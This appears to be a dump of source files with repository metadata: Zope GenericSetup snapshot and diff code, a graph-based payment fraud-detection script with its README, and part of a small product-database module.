\"\"\"\n self._archive.close()\n return self._archive_stream.getvalue()\n\n security.declareProtected( ManagePortal, 'getArchiveFilename' )\n def getArchiveFilename( self ):\n \"\"\" Close the archive, and return it as a big string.\n \"\"\"\n return self._archive_filename\n\nInitializeClass(TarballExportContext)\n\n\n@implementer(IExportContext)\nclass SnapshotExportContext( BaseContext ):\n\n security = ClassSecurityInfo()\n\n def __init__( self, tool, snapshot_id, encoding=None ):\n\n BaseContext.__init__( self, tool, encoding )\n self._snapshot_id = snapshot_id\n\n security.declareProtected( ManagePortal, 'writeDataFile' )\n def writeDataFile( self, filename, text, content_type, subdir=None ):\n \"\"\" See IExportContext.\n \"\"\"\n if subdir is not None:\n filename = '/'.join( ( subdir, filename ) )\n\n sep = filename.rfind('/')\n if sep != -1:\n subdir = filename[:sep]\n filename = filename[sep+1:]\n\n if isinstance(text, unicode):\n raise ValueError(\"Unicode text is not supported, even if it only \"\n \"contains ascii. Please encode your data. See \"\n \"GS 1.7.0 changes for more\")\n\n folder = self._ensureSnapshotsFolder( subdir )\n\n # TODO: switch on content_type\n ob = self._createObjectByType( filename, text, content_type )\n folder._setObject( str( filename ), ob ) # No Unicode IDs!\n\n security.declareProtected( ManagePortal, 'getSnapshotURL' )\n def getSnapshotURL( self ):\n \"\"\" See IExportContext.\n \"\"\"\n return '%s/%s' % ( self._tool.absolute_url(), self._snapshot_id )\n\n security.declareProtected( ManagePortal, 'getSnapshotFolder' )\n def getSnapshotFolder( self ):\n \"\"\" See IExportContext.\n \"\"\"\n return self._ensureSnapshotsFolder()\n\n #\n # Helper methods\n #\n security.declarePrivate( '_createObjectByType' )\n def _createObjectByType( self, name, body, content_type ):\n\n if isinstance( body, unicode ):\n encoding = self.getEncoding()\n if encoding is None:\n body = body.encode()\n else:\n body = body.encode( encoding )\n\n if name.endswith('.py'):\n\n ob = PythonScript( name )\n ob.write( body )\n\n elif name.endswith('.dtml'):\n\n ob = DTMLDocument( '', __name__=name )\n ob.munge( body )\n\n elif content_type in ('text/html', 'text/xml' ):\n\n ob = ZopePageTemplate( name, body\n , content_type=content_type )\n\n elif content_type[:6]=='image/':\n\n ob=Image( name, '', body, content_type=content_type )\n\n else:\n ob=File( name, '', body, content_type=content_type )\n\n return ob\n\n security.declarePrivate( '_ensureSnapshotsFolder' )\n def _ensureSnapshotsFolder( self, subdir=None ):\n \"\"\" Ensure that the appropriate snapshot folder exists.\n \"\"\"\n path = [ 'snapshots', self._snapshot_id ]\n\n if subdir is not None:\n path.extend( subdir.split( '/' ) )\n\n current = self._tool\n\n for element in path:\n\n if element not in current.objectIds():\n # No Unicode IDs!\n current._setObject( str( element ), Folder( element ) )\n\n current = current._getOb( element )\n\n return current\n\nInitializeClass(SnapshotExportContext)\n\n\n@implementer(IImportContext)\nclass SnapshotImportContext( BaseContext ):\n\n security = ClassSecurityInfo()\n\n def __init__( self\n , tool\n , snapshot_id\n , should_purge=False\n , encoding=None\n ):\n\n BaseContext.__init__( self, tool, encoding )\n self._snapshot_id = snapshot_id\n self._encoding = encoding\n self._should_purge = bool( should_purge )\n\n security.declareProtected( ManagePortal, 'readDataFile' )\n def readDataFile( self, filename, subdir=None ):\n \"\"\" See IImportContext.\n \"\"\"\n if subdir is not None:\n filename = '/'.join( ( subdir, filename ) )\n\n sep = filename.rfind('/')\n if sep != -1:\n subdir = filename[:sep]\n filename = filename[sep+1:]\n try:\n snapshot = self._getSnapshotFolder( subdir )\n object = snapshot._getOb( filename )\n except ( AttributeError, KeyError ):\n return None\n\n if isinstance(object, File):\n # OFS File Object have only one way to access the raw\n # data directly, __str__. The code explicitly forbids\n # to store unicode, so str() is safe here\n data = str(object)\n else:\n data = object.read()\n if isinstance(data, unicode):\n data = data.encode('utf-8')\n return data\n\n security.declareProtected( ManagePortal, 'getLastModified' )\n def getLastModified( self, path ):\n \"\"\" See IImportContext.\n \"\"\"\n try:\n snapshot = self._getSnapshotFolder()\n object = snapshot.restrictedTraverse( path )\n except ( AttributeError, KeyError ):\n return None\n else:\n mtime = getattr(object, '_p_mtime', None)\n if mtime is None:\n # test hook\n mtime = getattr(object, '_faux_mod_time', None)\n if mtime is None:\n return DateTime()\n return DateTime(mtime)\n\n security.declareProtected( ManagePortal, 'isDirectory' )\n def isDirectory( self, path ):\n \"\"\" See IImportContext.\n \"\"\"\n try:\n snapshot = self._getSnapshotFolder()\n object = snapshot.restrictedTraverse( str( path ) )\n except ( AttributeError, KeyError ):\n return None\n else:\n folderish = getattr( object, 'isPrincipiaFolderish', False )\n return bool( folderish )\n\n security.declareProtected( ManagePortal, 'listDirectory' )\n def listDirectory(self, path, skip=(), skip_suffixes=()):\n \"\"\" See IImportContext.\n \"\"\"\n try:\n snapshot = self._getSnapshotFolder()\n subdir = snapshot.restrictedTraverse( path )\n except ( AttributeError, KeyError ):\n return None\n else:\n if not getattr( subdir, 'isPrincipiaFolderish', False ):\n return None\n\n names = []\n for name in subdir.objectIds():\n if name in skip:\n continue\n if [s for s in skip_suffixes if name.endswith(s)]:\n continue\n names.append(name)\n\n return names\n\n security.declareProtected( ManagePortal, 'shouldPurge' )\n def shouldPurge( self ):\n \"\"\" See IImportContext.\n \"\"\"\n return self._should_purge\n\n #\n # Helper methods\n #\n security.declarePrivate( '_getSnapshotFolder' )\n def _getSnapshotFolder( self, subdir=None ):\n \"\"\" Return the appropriate snapshot (sub)folder.\n \"\"\"\n path = [ 'snapshots', self._snapshot_id ]\n\n if subdir is not None:\n path.extend( subdir.split( '/' ) )\n\n return self._tool.restrictedTraverse( path )\n\nInitializeClass(SnapshotImportContext)\n" }, { "alpha_fraction": 0.529619574546814, "alphanum_fraction": 0.5313858985900879, "avg_line_length": 32.76146697998047, "blob_id": "3baa15185dac3da881304510eb22fda4ef148cc5", "content_id": "0c4f75f2905c15dd685139616cad819483e86c7e", "detected_licenses": [ "ZPL-2.1" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7360, "license_type": "permissive", "max_line_length": 78, "num_lines": 218, "path": "/Products/GenericSetup/differ.py", "repo_name": "aodag/Products.GenericSetup", "src_encoding": "UTF-8", "text": "##############################################################################\n#\n# Copyright (c) 2004 Zope Foundation and Contributors.\n#\n# This software is subject to the provisions of the Zope Public License,\n# Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution.\n# THIS SOFTWARE IS PROVIDED \"AS IS\" AND ANY AND ALL EXPRESS OR IMPLIED\n# WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS\n# FOR A PARTICULAR PURPOSE.\n#\n##############################################################################\n\"\"\" Diff utilities for comparing configurations.\n\"\"\"\n\nfrom difflib import unified_diff\nimport re\nimport six\n\nfrom AccessControl.SecurityInfo import ClassSecurityInfo\nfrom App.class_init import InitializeClass\n\nfrom Products.GenericSetup.interfaces import SKIPPED_FILES\n\nBLANKS_REGEX = re.compile( r'^\\s*$' )\n\n\ndef unidiff( a\n , b\n , filename_a='original'\n , timestamp_a=''\n , filename_b='modified'\n , timestamp_b=''\n , ignore_blanks=False\n ):\n r\"\"\"Compare two sequences of lines; generate the resulting delta.\n\n Each sequence must contain individual single-line strings\n ending with newlines. Such sequences can be obtained from the\n `readlines()` method of file-like objects. The delta\n generated also consists of newline-terminated strings, ready\n to be printed as-is via the writeline() method of a file-like\n object.\n\n Note that the last line of a file may *not* have a newline;\n this is reported in the same way that GNU diff reports this.\n *This method only supports UNIX line ending conventions.*\n\n filename_a and filename_b are used to generate the header,\n allowing other tools to determine what 'files' were used\n to generate this output.\n\n timestamp_a and timestamp_b, when supplied, are expected\n to be last-modified timestamps to be inserted in the\n header, as floating point values since the epoch.\n\n \"\"\"\n if isinstance( a, six.string_types ):\n a = a.splitlines()\n\n if isinstance( b, six.string_types ):\n b = b.splitlines()\n\n if ignore_blanks:\n a = [ x for x in a if not BLANKS_REGEX.match( x ) ]\n b = [ x for x in b if not BLANKS_REGEX.match( x ) ]\n\n return unified_diff( a\n , b\n , filename_a\n , filename_b\n , timestamp_a\n , timestamp_b\n , lineterm=\"\"\n )\n\n\nclass ConfigDiff:\n\n security = ClassSecurityInfo()\n\n def __init__( self\n , lhs\n , rhs\n , missing_as_empty=False\n , ignore_blanks=False\n , skip=SKIPPED_FILES\n ):\n self._lhs = lhs\n self._rhs = rhs\n self._missing_as_empty = missing_as_empty\n self._ignore_blanks=ignore_blanks\n self._skip = skip\n\n security.declarePrivate( 'compareDirectories' )\n def compareDirectories( self, subdir=None ):\n\n lhs_files = self._lhs.listDirectory( subdir, self._skip )\n if lhs_files is None:\n lhs_files = []\n\n rhs_files = self._rhs.listDirectory( subdir, self._skip )\n if rhs_files is None:\n rhs_files = []\n\n added = [ f for f in rhs_files if f not in lhs_files ]\n removed = [ f for f in lhs_files if f not in rhs_files ]\n all_files = lhs_files + added\n all_files.sort()\n\n result = []\n\n for filename in all_files:\n\n if subdir is None:\n pathname = filename\n else:\n pathname = '%s/%s' % ( subdir, filename )\n\n if filename not in added:\n isDirectory = self._lhs.isDirectory( pathname )\n else:\n isDirectory = self._rhs.isDirectory( pathname )\n\n if not self._missing_as_empty and filename in removed:\n\n if isDirectory:\n result.append( '** Directory %s removed\\n' % pathname )\n result.extend( self.compareDirectories( pathname ) )\n else:\n result.append( '** File %s removed\\n' % pathname )\n\n elif not self._missing_as_empty and filename in added:\n\n if isDirectory:\n result.append( '** Directory %s added\\n' % pathname )\n result.extend( self.compareDirectories( pathname ) )\n else:\n result.append( '** File %s added\\n' % pathname )\n\n elif isDirectory:\n\n result.extend( self.compareDirectories( pathname ) )\n\n if ( filename not in added + removed and\n not self._rhs.isDirectory( pathname ) ):\n\n result.append( '** Directory %s replaced with a file of '\n 'the same name\\n' % pathname )\n\n if self._missing_as_empty:\n result.extend( self.compareFiles( filename, subdir ) )\n else:\n if ( filename not in added + removed and\n self._rhs.isDirectory( pathname ) ):\n\n result.append( '** File %s replaced with a directory of '\n 'the same name\\n' % pathname )\n\n if self._missing_as_empty:\n result.extend( self.compareFiles( filename, subdir ) )\n\n result.extend( self.compareDirectories( pathname ) )\n else:\n result.extend( self.compareFiles( filename, subdir ) )\n\n return result\n\n security.declarePrivate( 'compareFiles' )\n def compareFiles( self, filename, subdir=None ):\n\n if subdir is None:\n path = filename\n else:\n path = '%s/%s' % ( subdir, filename )\n\n lhs_file = self._lhs.readDataFile( filename, subdir )\n lhs_time = self._lhs.getLastModified( path )\n\n if lhs_file is None:\n assert self._missing_as_empty\n lhs_file = ''\n lhs_time = 0\n\n rhs_file = self._rhs.readDataFile( filename, subdir )\n rhs_time = self._rhs.getLastModified( path )\n\n if rhs_file is None:\n assert self._missing_as_empty\n rhs_file = ''\n rhs_time = 0\n\n if lhs_file == rhs_file:\n diff_lines = []\n else:\n diff_lines = unidiff( lhs_file\n , rhs_file\n , filename_a=path\n , timestamp_a=lhs_time\n , filename_b=path\n , timestamp_b=rhs_time\n , ignore_blanks=self._ignore_blanks\n )\n diff_lines = list( diff_lines ) # generator\n\n if len( diff_lines ) == 0: # No *real* difference found\n return []\n\n diff_lines.insert( 0, 'Index: %s' % path )\n diff_lines.insert( 1, '=' * 67 )\n\n return diff_lines\n\n security.declarePrivate( 'compare' )\n def compare( self ):\n return '\\n'.join( [str(line) for line in self.compareDirectories()] )\n\nInitializeClass( ConfigDiff )\n" } ]
3
ayushsagar/digital-wallet
https://github.com/ayushsagar/digital-wallet
dd1e8ca541a856a2826895c45c3cf72760b5049e
96b7697792f310b832d51b25ec6595007932a18b
156fcdd6bb991b11cb0cb7aa1edbe45c146b0d4a
refs/heads/master
2021-01-19T00:47:37.383944
2016-11-18T22:04:56
2016-11-18T22:04:56
73,237,982
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.5711830258369446, "alphanum_fraction": 0.5810282826423645, "avg_line_length": 37.96341323852539, "blob_id": "ab66435d35e8d9b540c2056766ae234db9605576", "content_id": "2f564da67b03f2892412bedb91dee568292327e8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6399, "license_type": "no_license", "max_line_length": 271, "num_lines": 164, "path": "/src/antifraud.py", "repo_name": "ayushsagar/digital-wallet", "src_encoding": "UTF-8", "text": "import warnings\nimport time\nimport sys\n\nclass Graph:\n ''' Undirected social network graph based on batch file. '''\n \n def __init__(self, batchFileName, skipHeader):\n self.batchFileName = batchFileName\n self.__buildGraph(batchFileName, skipHeader)\n\n \n def __buildGraph(self, filename, skipHeader = True):\n ''' Reads given batch dataset and constructs a graph.'''\n self.adjacencyList = {}\n \n with open(filename, 'r') as f:\n for index, row in enumerate(f):\n if skipHeader == True:\n skipHeader = False\n continue\n self.addToGraph(row, index)\n\n\n def parseTransaction(self, row):\n items = row.split(\",\", 4)\n assert(len(items)) == 5\n \n id1 = int(items[1])\n id2 = int(items[2])\n \n #TODO Implement other attributes and encode then into adjecency list for more detection features\n return None, id1, id2, None, None\n\n\n def addToGraph(self, row, index):\n try:\n transaction = self.parseTransaction(row)\n except:\n warnings.warn(\" Skipped adding unparseable transaction at line \" + str(index), Warning)\n else: \n _, id1, id2, _, _ = transaction # discard all but id1 and id2\n \n if id1 == id2:\n return # self-transactions are irrelavant\n \n try:\n self.adjacencyList[id1].add(id2)\n except KeyError:\n self.adjacencyList[id1] = set([id2])\n \n try:\n self.adjacencyList[id2].add(id1)\n except KeyError:\n self.adjacencyList[id2] = set([id1])\n \n \n def getNeighbors(self, node):\n try:\n return self.adjacencyList[node]\n except KeyError:\n return None\n \n\ndef findConnectionDegree(graph, source, target, max_depth):\n ''' Returns degree of connection between source and target in the graph using iterative deepening DFS. \n Returns None if not connected within degree = max_depth.'''\n\n def DLS(node, depth):\n ''' Recursive depth-limited DFS. '''\n if depth == 0 and node == target:\n return node\n if depth > 0:\n for child in graph.getNeighbors(node):\n found = DLS(child, depth - 1)\n if found != None:\n return found\n return None\n\n # corner case where either source or target isn't in graph\n if (source not in graph.adjacencyList) or (target not in graph.adjacencyList):\n return None\n\n # corner case where source = target != null\n if source == target and source != None:\n return 0\n\n\n # begin ID-DFS\n for depth in range(max_depth + 1):\n found = DLS(source, depth)\n if found != None:\n return depth\n\n\ndef processStream(graph, inputStreamFile, outputStreamFile, feature, skipHeader=True):\n '''Contructs graph and processes input stream files. \n Returns line count when input stream file finishes for benchmarking purposes'''\n with open(inputStreamFile, 'r') as inputStream, open(outputStreamFile, 'w') as outputStream:\n\n lineCount = 0 # counting for later benchmarking\n\n for index, row in enumerate(inputStream):\n if skipHeader == True:\n skipHeader = False\n continue\n\n try:\n transaction = graph.parseTransaction(row)\n\n except:\n # Note: Mark unverified if parsing fails to avoid taking risk\n outputStream.write(\"unverified\\n\")\n warnings.warn(\" Skipped adding unparseable transaction at line \" + str(index), Warning) \n\n else: \n _, id1, id2, _, _ = transaction # discard all but id1 and id2\n \n if feature==1:\n outputStr = \"unverified\\n\" if findConnectionDegree(graph, id1, id2, 1) == None else \"trusted\\n\"\n elif feature==2:\n outputStr = \"unverified\\n\" if findConnectionDegree(graph, id1, id2, 2) == None else \"trusted\\n\"\n elif feature==3:\n outputStr = \"unverified\\n\" if findConnectionDegree(graph, id1, id2, 4) == None else \"trusted\\n\"\n else:\n raise ValueError(\"Invalid feature value\")\n\n outputStream.write(outputStr)\n\n lineCount += 1\n return lineCount\n\n\nif __name__ == \"__main__\":\n def processAll(batch_input, stream_input, output_folder):\n '''Run script for all three features and time execution for each'''\n print \"Constructing graph from batch file...\", \n start_time = time.time()\n graph = Graph(batch_input, True)\n print(\"%s sec\" % (time.time() - start_time))\n \n for feature in [1,2,3]:\n stream_output = output_folder + \"/output\" + str(feature) + \".txt\"\n print \"Processing stream file and saving feature %d output...\" %feature, \n start_time = time.time()\n lineCount = processStream(graph, stream_input, stream_output, feature)\n print(\"%0.4s sec total, %.12f sec per transaction (avg)\" % (time.time() - start_time, (time.time() - start_time)/float(lineCount))) \n\n if len(sys.argv) == 4:\n batch_input = sys.argv[1]\n stream_input = sys.argv[2]\n output_folder = sys.argv[3]\n processAll(batch_input, stream_input, output_folder)\n\n elif len(sys.argv) == 2:\n batch_input = \"../insight_testsuite/tests/\" + sys.argv[1] + \"/paymo_input/batch_payment.txt\"\n stream_input = \"../insight_testsuite/tests/\" + sys.argv[1] + \"/paymo_input/stream_payment.txt\"\n output_folder = \"../insight_testsuite/tests/\" + sys.argv[1] + \"/paymo_output/\"\n processAll(batch_input, stream_input, output_folder)\n \n\n else:\n print \"Usage 1: specify batch, input file and output folder\\nSyntax:\\n\\tpython antifraud.py <batch payment file> <stream payment file> <output path>\\ne.g.\\n\\tpython antifraud.py ../paymo_input/batch_payment.csv ../paymo_input/stream_payment.csv ../paymo_output\\n\"\n print \"Usage 2: specify test case folder name inside insight_testsuit/tests folder\\nSyntax:\\n\\tpython antifraud.py <test case name>\\ne.g.\\n\\tpython antifraud.py test-2-graph-search\"\n \n" }, { "alpha_fraction": 0.665075421333313, "alphanum_fraction": 0.735344648361206, "avg_line_length": 37.796295166015625, "blob_id": "79f4b843660b689286cd6981694ec4b107bd2c31", "content_id": "231ca9501886cea533420eab6f0791ff1fe7bd4a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 10511, "license_type": "no_license", "max_line_length": 409, "num_lines": 270, "path": "/README.md", "repo_name": "ayushsagar/digital-wallet", "src_encoding": "UTF-8", "text": "# Submission for Insight Data Engineering Challenge Jan 2017\n## An optimized and scalable fraud detection module for Paymo using Iterative Deepening DFS on Hashmap adjacency-list based graph representation \n\n## Problem\nGiven a list of transactions between two users (batch data), determine trustworthiness of given transaction (streaming data) using 3 different rules:\n\n* Rule/Feature 1: Check if a prior transaction has occurred between two parties. \n* Rule/Feature 2: Check for triadic closure or 2nd degree relationship \n* Rule/Feature 3: Check if degree of connection is less than or equal to 4.\n\nFor each transaction the program returns \"trusted\" if one of the above rules satisfy and \"unverified\" otherwise. Only one rule is applied on the streaming data at a time and saved into respective files: output1.txt, output2.txt and so on.\n\n[Original Problem Specifications](https://github.com/InsightDataScience/digital-wallet)\n\n## Approach\n### 1. Graph Construction\nA social network can be represented by a graph. Each node can represent a person. Any transaction between two persons would connect their respective nodes. This connection is called an edge. Let V be the set of nodes or vertices in this graph and E be the set of edges.\n\nFrom the nature of the problem and data, the following can be observed about representation of the graph:\n\n1. The graph would be sparsely connected. i.e. |E| << |V|^2. This is because the users are performing transactions with few other used compared to the no. of users in the graph. So the total edges is much lesser that max possible no. of edges in a graph which is |V|^2.\n \n\n2. Since we will be traversing through graph often as we search for connectivity between two users, it is important to optimize query time.\n\nConsider the figure below (adapted from Wikipedia):\n![fig1](/images/fig-adj_list.png)\n\nThere are multiple ways of representing the graph and in this implementation, an adjacency list using hashmap is chosen for the following reasons:\n\n1. A matrix representation would waste memory space because it requires O(|V|^2) space but the graph is sparsely connected i.e. |E| << |V|^2.\n\n2. The adjacency list is implemented as a Hash table to optimize for:\n\t* Query: Needed for any access to a node. Most frequently called operation.\n\t* Adding edge: It is desirable in future to be able to add approved transactions into the graph without re-building it.\n\t* Remove edge: It is desirable in future to remove users and their nodes as their accounts deactivate. \n\n####Data Structure\nThe data structure that implements adjacency list is a Python dictionary (hashmap) where each key represents node and value contains a set of neighboring nodes. When assigning neighbors, the python set() operation (performs hashing) performs de-duplication.\n\n**Pseudocode**\n\n\t# process line by line from batch file\n\tf = openFile(batchFile)\n\tadjacencyList = {}\n\tfor each line in f\n\t\t# get nodes\n\t\tid1, id2 <- parseLine(line)\n\n\t\tif id1 in adjacencyList\n\t\t\t# add to its neighbor set\n\t\t\tadjacencyList[id1].add(id2)\n\t\telse\n\t\t\t# initialize set with one item \n\t\t\tadjacencyList[id1] <- set([id2])\n\n\t\t# repeating for undirected graph\n\t\tif id2 in adjacencyList\n\t\t\t# add to its neighbor set\n\t\t\tadjacencyList[id2].add(id1)\n\t\telse\n\t\t\t# initialize set with one item \n\t\t\tadjacencyList[id2] <- set([id1])\n\n###Example\nThe test-case: **test-2-graph-search** contained in \\insight_test_suite\\tests\\ looks like the following:\n![fig2](/images/fig-sample_graph.png)\n\nThe adjacencyList looks like the following in Python:\n\n\t>> print graph.adjacencyList\n\t{0: {1},\n\t 1: {0, 2, 4},\n\t 2: {1, 3},\n\t 3: {2, 4, 5},\n\t 4: {1, 3},\n\t 5: {3, 6},\n\t 6: {5, 7},\n\t 7: {6},\n\t 8: {9, 10, 11},\n\t 9: {8},\n\t 10: {8},\n\t 11: {8}}\n\nNotice that columns in transaction record such as time-stamp, amount and message are not being used and are therefore not being added to adjacencyList. **If a feature requires, these can be added into node value which contains only neighbor set presently. An example would be saving the last 10 payments made by the user and flagging a transaction when the amount being sent is 2 std dev away from the mean.**\n\n#### Special cases\n1. Loops or self-transaction if allowed by the service, aren't added this graph because these are irrelevant for the task of fraud detection.\n\n2. Since multiple edges connecting same two nodes do not give additional information, a multigraph is not required. \n\n3. The graph is undirected. The direction of payment does not affect the relationship.\n\n\n### 2. Graph Search\nOnce the graph is constructed from batch payment data, the next step is to be able to find degree of connection between two users given in stream data.\n\nFinding the degree of connection is the problem of finding if length of shortest path between two nodes where distance of each edge is 1.\n\nThere are two ways of doing this:\n\n1. Using dynamic programming to find and store all shortest paths: Floyd-Warshall algorithms and its variants fall under this category. Although this may look like an efficient approach, the problem is that adding edges or removing vertices will require re-computation of shortest paths and it is therefore not scalable. \n\n2. Find shortest-path between two giving edge: A natural way of doing this would be Dijkstra's algorithm for shortest path and its variants. However, in this problem, we're need to find degree of connections not larger than 4. This means that during path search, we do not have to traverse beyond 4 steps. The iterative deepening DFS is a variant that does exactly that.\n\n**Pseudocode:**\n\n\tfunction IDDFS(root, depth, max_depth)\n\t for depth from 0 to max_depth\n\t found ← DLS(root, depth)\n\t if found ≠ null\n\t return depth\n\t\n\tfunction DLS(node, depth)\n\t if depth = 0 and node is a goal\n\t return node\n\t if depth > 0\n\t foreach child of node\n\t found ← DLS(child, depth−1)\n\t if found ≠ null\n\t return found\n\t return null\n\nThe function IDDFS takes two nodes & max depth and returns depth if a shortest path is found within max_depth. Otherwise it returns None.\n\nThe time complexity is O(*b*^*d*) and space-complexity is O(*b***d*). *b* is the branching factor. The average branching factor would be the average no. of users each user is connected to. Therefore *b* is expected to be low. Depth *d* is 4 in this case. Therefore, this algorithms appears suitable to the problem.\n\nThe implementation can be used to implement feature 1 and 2 with d = 1 and 2 respectively.\n\n### Demo: Test search performance by evaluating on real data graph with 3,938,414 transactions\n\nShortest path search in graph for transaction with id1 = 0 and id2 = 1202 is done calling findConnectionDegree(graph, 0, 1202, 4).\n\t\n\n\tfrom antifraud import *\n\tgraph = Graph(\"../paymo_input/batch_payment.csv\", True)\n\n\tstart_time = time.time()\n\tprint findConnectionDegree(graph, 0, 1202, 4)\n\tprint(\"%0.12s sec\"% (time.time() - start_time))\n\n**3**\n\n**0.0131009389 sec** \n\n3 was the length of shortest-path or degree of connection. It took 0.0131 sec for finding the path. This is promising but thorough testing is done in results section.\n\n\n##Usage\nThe following module implements the functionality on **Python 2.7**:\n\n\t\\src\\antifraud.py\n\nSyntax 1: specify batch, input file and output folder\n\n\tpython antifraud.py <batch payment file> <stream payment file> <output path>\n\ne.g.\n\t\n\tpython antifraud.py ../paymo_input/batch_payment.csv ../paymo_input stream_payment.csv ../paymo_output\n\nSyntax 2: specify test case folder name inside insight_testsuit/tests folder\n\tpython antifraud.py <test case name>\n\ne.g.\n\n\tpython antifraud.py test-2-graph-search\n\n### Demo: Test-case test-2-graph-search contained in \\insight_test_suite\\tests\\\n\n#### Inputs (only id1 and id2 are relevant):\n\nbatch_payment.txt contents:\n\t\n\ttime, id1, id2, amount, message\n\t2016-11-02 09:49:29, 0, 1, 25.32, Spam \n\t2016-11-02 09:49:29, 2, 1, 19.45, Food for 🌽 😎 \n\t2016-11-02 09:49:29, 4, 3, 14.99, Clothing \n\t2016-11-02 09:49:29, 2, 3, 13.48, LoveWins \n\t2016-11-02 09:49:29, 8, 9, 29.94, Jeffs still fat \n\t2016-11-02 09:49:29, 3, 5, 19.01, 🌞🍻🌲🏔🍆\n\t2016-11-02 09:49:29, 7, 6, 25.32, Spam \n\t2016-11-02 09:49:29, 10, 8, 19.45, Food for 🌽 😎 \n\t2016-11-02 09:49:29, 6, 5, 14.99, Clothing \n\t2016-11-02 09:49:29, 1, 4, 13.48, LoveWins \n\t2016-11-02 09:49:29, 11, 8, 29.94, Jeffs still fat \n\nstream_payment.txt contents:\n\n\ttime, id1, id2, amount, message\n\t2016-11-02 09:49:29, 0, 5, 25.32, 0-0-1\n\t2016-11-02 09:49:29, 0, 1, 19.45, 1-1-1\n\t2016-11-02 09:49:29, 4, 2, 14.99, 0-1-1 \n\t2016-11-02 09:49:29, 10, 3, 13.48, 0-0-0 \n\t2016-11-02 09:49:29, 0, 5, 29.94, 0-0-1\n\t2016-11-02 09:49:29, 4, 2, 19.01, 0-1-1\n\t2016-11-02 09:49:29, 4, 7, 25.32, 0-0-1 \n\t2016-11-02 09:49:29, 0, 6, 19.45, 0-0-0\n\t2016-11-02 09:49:29, 1, 7, 14.99, 0-0-0\n\t2016-11-02 09:49:29, 10, 9, 13.48, 0-1-1\n\t2016-11-02 09:49:29, 11, 11, 29.94, 1-1-1\n\n#### Output (only id1 and id2 are relevant):\n\n**Feature 1:** output1.txt contents:\n\t\n\tunverified\n\ttrusted\n\tunverified\n\tunverified\n\tunverified\n\tunverified\n\tunverified\n\tunverified\n\tunverified\n\tunverified\n\ttrusted\n\n**Feature 2:** output2.txt contents:\n\n\tunverified\n\ttrusted\n\ttrusted\n\tunverified\n\tunverified\n\ttrusted\n\tunverified\n\tunverified\n\tunverified\n\ttrusted\n\ttrusted\n\n**Feature 3:** output3.txt contents:\n\t\n\ttrusted\n\ttrusted\n\ttrusted\n\tunverified\n\ttrusted\n\ttrusted\n\ttrusted\n\tunverified\n\tunverified\n\ttrusted\n\ttrusted\n\nGraph is pasted again for convenience and the results can be verified by looking at it:\n\n![fig2](/images/fig-sample_graph.png)\n\n\n##Results\nantifraud.py was run on supplied real data found on:\n\n[batch_payment.csv](https://www.dropbox.com/s/y6fige3w1ohksbd/batch_payment.csv?dl=0)\n\n[stream_payment.csv](https://www.dropbox.com/s/vrn4pjlypwa2ki9/stream_payment.csv?dl=0)\n\n\tConstructing graph from batch file... 11.6982829571 sec\n\tProcessing stream file and saving feature 1 output... 24 sec total, 0.000008025388 sec per transaction (avg)\n\tProcessing stream file and saving feature 2 output... 458 sec total, 0.000152815467 sec per transaction (avg)\n\tProcessing stream file and saving feature 3 output... 298592 sec total, 0.099517813121 sec per transaction (avg)\n\noutputs generated by this program:\n\n[output1.txt](https://drive.google.com/file/d/0Bz9J5qV6mHiZZVZQc2t1aEUwVHM/view?usp=sharing)\n\n[output2.txt](https://drive.google.com/file/d/0Bz9J5qV6mHiZUkFfS0RGeDlndzA/view?usp=sharing)\n\n[output3.txt](https://drive.google.com/file/d/0Bz9J5qV6mHiZdV82RXBZSjJCWE0/view?usp=sharing)" } ]
2
3LN35/G2M2E4-DESAFIO7
https://github.com/3LN35/G2M2E4-DESAFIO7
8fc01eec70db5309b7f84fb0b57751662d8ffa3a
54849c0b645e280f0c6c91ebb94b71b8febeb257
225ef3f88fad11fdb53115d86991b8f9fdbb60fa
refs/heads/main
2023-01-29T03:29:30.747698
2020-12-11T16:00:24
2020-12-11T16:00:24
320,492,849
0
0
null
2020-12-11T06:56:41
2020-12-11T12:30:22
2020-12-11T16:00:25
Python
[ { "alpha_fraction": 0.7052238583564758, "alphanum_fraction": 0.7052238583564758, "avg_line_length": 15.6875, "blob_id": "fc082eb261583c06b4fd8e719769044082c280eb", "content_id": "3c14de7add9a6cad428f94bea2036060ccd6188e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 268, "license_type": "no_license", "max_line_length": 35, "num_lines": 16, "path": "/models/product_models.py", "repo_name": "3LN35/G2M2E4-DESAFIO7", "src_encoding": "UTF-8", "text": "from pydantic import BaseModel\n\n\nclass ProductOut(BaseModel):\n nombre: str\n descripcion: str\n precio: float\n \n\nclass ProductAddCantIn(BaseModel):\n product_id: str\n cantidad: int\n\nclass ProductAddCantOut(BaseModel):\n nombre: str\n cantidad: int\n\n" }, { "alpha_fraction": 0.575373113155365, "alphanum_fraction": 0.5940298438072205, "avg_line_length": 30.186046600341797, "blob_id": "ba00f1866b2cc0f280c1078393ebd6ca14679c68", "content_id": "eb6ba53ebb85c819557d93a0f4584eef0bea3a16", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1340, "license_type": "no_license", "max_line_length": 82, "num_lines": 43, "path": "/db/products_db.py", "repo_name": "3LN35/G2M2E4-DESAFIO7", "src_encoding": "UTF-8", "text": "from typing import Dict\nfrom pydantic import BaseModel\n\nclass ProductInDB(BaseModel):\n nombre: str\n descripcion: str\n precio: float\n costo: float\n cantidad: int\n\ndatabase_products = Dict[str, ProductInDB]\n\ndatabase_products = {\n \"1\": ProductInDB(**{\"nombre\": \"laptop\",\n \"descripcion\": \"lenovo thinkpad x1 carbon 6th generation\",\n \"precio\": 1299.99,\n \"costo\": 900,\n \"cantidad\":25}),\n \"2\": ProductInDB(**{\"nombre\": \"teclado\",\n \"descripcion\": \"Corsair K68 RGB Gaming Keyboard\",\n \"precio\": 150,\n \"costo\": 70,\n \"cantidad\": 32}),\n}\n\ndef get_all_products():\n return database_products.values()\n\ndef get_single_product(product_id: str):\n if product_id in database_products.keys():\n return database_products[product_id]\n else:\n return None\n\ndef create_product(product_in_db: ProductInDB):\n new_idx = len(database_products) + 1\n 